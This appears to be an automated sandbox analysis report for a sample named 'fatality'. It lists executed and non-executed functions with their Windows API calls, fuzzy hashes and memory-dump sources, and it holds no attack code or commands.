Opcode Fuzzy Hash: b352a4ae98fb25031dec87e8cd840f0b3ee83e6d135f718525b1c99eda66b682
Instruction Fuzzy Hash: AAF082310087D1AACB227BB98904BCB7BD0AF1A331F158A4DF1FD62196C27560989B33

Function 00DFA626 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

73516BB0.GDIPLUS(00000010), ref: 00DFA62C

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: 73516
String ID:
API String ID: 486175124-0
Opcode ID: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction ID: 13b3177c5e697f0051426fe81149653ffccb00dc5a5ca993e46ae22f45ad1817
Opcode Fuzzy Hash: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction Fuzzy Hash: 24D0C7B521060DB6DF416B658C12A7E7A95EB40340F05C125BE49D5151EAB1DA109572

Function 00DFDD6D Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 00DFDD92

Part of subcall function 00DFB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00DFB579
Part of subcall function 00DFB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00DFB58A
Part of subcall function 00DFB568: IsDialogMessageW.USER32(00010486,?), ref: 00DFB59E
Part of subcall function 00DFB568: TranslateMessage.USER32(?), ref: 00DFB5AC
Part of subcall function 00DFB568: DispatchMessageW.USER32(?), ref: 00DFB5B6

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: cf6a3a9134a8bcf90d7334536308437d964f5c10095ecada5c01889bb0011012
Instruction ID: 15ad23f29b84bea8221dec06d691a658e336c2612f927852867edd2b286b7b45
Opcode Fuzzy Hash: cf6a3a9134a8bcf90d7334536308437d964f5c10095ecada5c01889bb0011012
Instruction Fuzzy Hash: 9AD09E31144300BFD6112B52CE06F1A7AA2EB98B04F004555B384740B2C6729D21DB25

Function 00DE98BC Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00DE97BE), ref: 00DE98C8

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: ed86f761750f741caac4339a1b9c156e9e84afe0ce15ba373232fc8d0c46698c
Instruction ID: 23cc47e37982469721e39b2342948891bb3dc47cad441b19c6c22b7f77554f3b
Opcode Fuzzy Hash: ed86f761750f741caac4339a1b9c156e9e84afe0ce15ba373232fc8d0c46698c
Instruction Fuzzy Hash: ECC01234401145898E206A3698940D9F311AB933657B88795C028850B1C322CC47EA21

Function 00DE9F09 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,00DE903E,?,?,-00000870,?,?,?,?,00000000,?,-00000974,?,?,?,?), ref: 00DE9F0C

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 0ef8895537ee1edae5f9d0e9e887784963aa45ad3e09c857f6007c8b89ecbc32
Instruction ID: de1930adfd99225f28710ac2f2e1c1e6c3678d9d5d200c011f633b7e728d86cb
Opcode Fuzzy Hash: 0ef8895537ee1edae5f9d0e9e887784963aa45ad3e09c857f6007c8b89ecbc32
Instruction Fuzzy Hash: 55A0113008000A8A8E002B32CA0808C3B20EB20BC030082A8A00ACA0A2CB22880B8A00

Function 00DFAC04 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?), ref: 00DFAC08

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 1073ee188ca76be23d2e561b6bf71bf7c7c4cdf2338071565a26c5c2c72e0ad5
Instruction ID: 33ab65b1335b7862d3d19d2b6d6be7d317977da0d7f8d708e28573a9ef1811f7
Opcode Fuzzy Hash: 1073ee188ca76be23d2e561b6bf71bf7c7c4cdf2338071565a26c5c2c72e0ad5
Instruction Fuzzy Hash: 3DA01130202200AB8A000F338F0AA8EBAAAAFA2B20F00C028A00080030CB30C820AA00

Function 00DE9620 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,00DE95D6,00000000,00E12641,000000FF), ref: 00DE963B

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: bfd729ddbf538dfd1d63a1f4ccdca594f69fab40709b1ab057613fca8ee58ea8
Instruction ID: 65e32d3b81c1915977e444fb5dab4f49035255b4c89383d48aca746a7771c699
Opcode Fuzzy Hash: bfd729ddbf538dfd1d63a1f4ccdca594f69fab40709b1ab057613fca8ee58ea8
Instruction Fuzzy Hash: 2EF080704827555FD7305B35C458792F7E87B12321F085B1FD0E6425E1D771558D8660

Function 00DFAC7C Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CoUninitialize.COMBASE(?,?,?,?,00E12641,000000FF), ref: 00DFACB5

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: Uninitialize
String ID:
API String ID: 3861434553-0
Opcode ID: e723ee89861195ae52f9d5477e4fc4ccf0cf84ed3d72d0844c7e6e3b7569be3f
Instruction ID: ff45f7b02a4b9f55a29ed16d478fb0964d7f7ce8b10c0776d4c4d980e6abf4d9
Opcode Fuzzy Hash: e723ee89861195ae52f9d5477e4fc4ccf0cf84ed3d72d0844c7e6e3b7569be3f
Instruction Fuzzy Hash: DAE06572604650EFC710AF59DC06B45FBA8FB88B20F104269F416E37B0CB746841CA90

Function 00FC8598 Relevance: 1.3, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 00FC85C3

Memory Dump Source

Source File: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E5B000, based on PE: true

Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 656fb080322a01f7b9c87320640fd0178527a2eb97592735762a2af62f0941c0
Instruction ID: 0cb320968c86115cb120b62d95e3dbbe7ac235bf03631ea2f161dcb791864ba6
Opcode Fuzzy Hash: 656fb080322a01f7b9c87320640fd0178527a2eb97592735762a2af62f0941c0
Instruction Fuzzy Hash: ABE0ECB670010DABDB10CE4CDA85FAA33DDA798760F148415F609D7240C674EC11A765

Function 00FC8598 Relevance: 1.3, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 00FC85C3

Memory Dump Source

Source File: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 656fb080322a01f7b9c87320640fd0178527a2eb97592735762a2af62f0941c0
Instruction ID: 0cb320968c86115cb120b62d95e3dbbe7ac235bf03631ea2f161dcb791864ba6
Opcode Fuzzy Hash: 656fb080322a01f7b9c87320640fd0178527a2eb97592735762a2af62f0941c0
Instruction Fuzzy Hash: ABE0ECB670010DABDB10CE4CDA85FAA33DDA798760F148415F609D7240C674EC11A765

Non-executed Functions

Function 00E0D8F0 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1380COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00E0DA34

Strings

1#QNAN, xrefs: 00E0EC3A
1#INF, xrefs: 00E0EC41
1#SNAN, xrefs: 00E0EC33
1#IND, xrefs: 00E0EC2C

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 16845f2765d913e6d6b10ac949a95960ad886d91301aeb207ec133afdf4b0135
Instruction ID: c19b6f31ca59191b1779a96832bf42c957ea6ed0e5931414ab7b73bd82f3506e
Opcode Fuzzy Hash: 16845f2765d913e6d6b10ac949a95960ad886d91301aeb207ec133afdf4b0135
Instruction Fuzzy Hash: 72C22772E086288FDB25CE689D407EAB7B5EB84304F1555EAD84DF7280E775AEC18F40

Function 00DE32F7 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 608COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00DE3300
_swprintf.LIBCMT ref: 00DE36C7

Strings

hc%u, xrefs: 00DE370A
CMT, xrefs: 00DE3A17
h%u, xrefs: 00DE36BC

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: H_prolog_swprintf
String ID: CMT$h%u$hc%u
API String ID: 146138363-3282847064
Opcode ID: cee769bf27b0aac634c9e030e48bc1873173704545bbfa8352f36242d836cc8f
Instruction ID: 4e4a4131ecd51fde9e4e5080e7a8e6083e811b841c88b1be13fd755ca1f57b48
Opcode Fuzzy Hash: cee769bf27b0aac634c9e030e48bc1873173704545bbfa8352f36242d836cc8f
Instruction Fuzzy Hash: 153291715142C4ABDB14EF75C899AF93BA5EF15300F08457DFD8A8B282DB749A49CB30

Function 00DE286B Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 798COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00DE2874
_strlen.LIBCMT ref: 00DE2E3F

Part of subcall function 00DF02BA: __EH_prolog.LIBCMT ref: 00DF02BF

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00DE2F91

Strings

CMT, xrefs: 00DE2FBC

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: H_prolog$Unothrow_t@std@@@__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1057911484-2756464174
Opcode ID: 2b03daf9effd2337e209c700e89d7d0cef98f1af2f52b9632b1de74bca58b1a9
Instruction ID: c8bc6c4644bbec0ff70a083ba916985b56da5c79199ffded88e6d587eb890252
Opcode Fuzzy Hash: 2b03daf9effd2337e209c700e89d7d0cef98f1af2f52b9632b1de74bca58b1a9
Instruction Fuzzy Hash: F062E5715002C58FDB19EF39C886AFA3BA5EF54300F08457EED9A8B282DB759945CB70

Function 00E0D440 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca42b9ec9b7586f9c51c3a7794b889afe196130f89528a14186d20df2addb04f
Instruction ID: bf18a6f392f1b78c5f902873918ec4d99e1a294345ce27fd26c8064502d679a7
Opcode Fuzzy Hash: ca42b9ec9b7586f9c51c3a7794b889afe196130f89528a14186d20df2addb04f
Instruction Fuzzy Hash: D1021C71E042199BDF18CFA9DC806ADF7F1EF88314F25916AD919F7384D731A9418B90

Function 00DE40FE Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

gj, xrefs: 00DE41BC

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 27b7751e430c23b72ce657a6dbd8dca630702a874a4bcf78e46584d5b0e5b40e
Instruction ID: 10cbe9de03b84a5d480f46f215e78add758d6bcc856b14ba16c27566f5a9b341
Opcode Fuzzy Hash: 27b7751e430c23b72ce657a6dbd8dca630702a874a4bcf78e46584d5b0e5b40e
Instruction Fuzzy Hash: 5FC14872A183418FC354CF29D88065AFBE2BFC8308F59892EE998D7311D734E945CB96

Function 0525456D Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

b=q=, xrefs: 052545D3

Memory Dump Source

Source File: 00000000.00000002.2056870207.0000000005250000.00000040.00001000.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5250000_fatality.jbxd

Similarity

API ID:
String ID: b=q=
API String ID: 0-4069823217
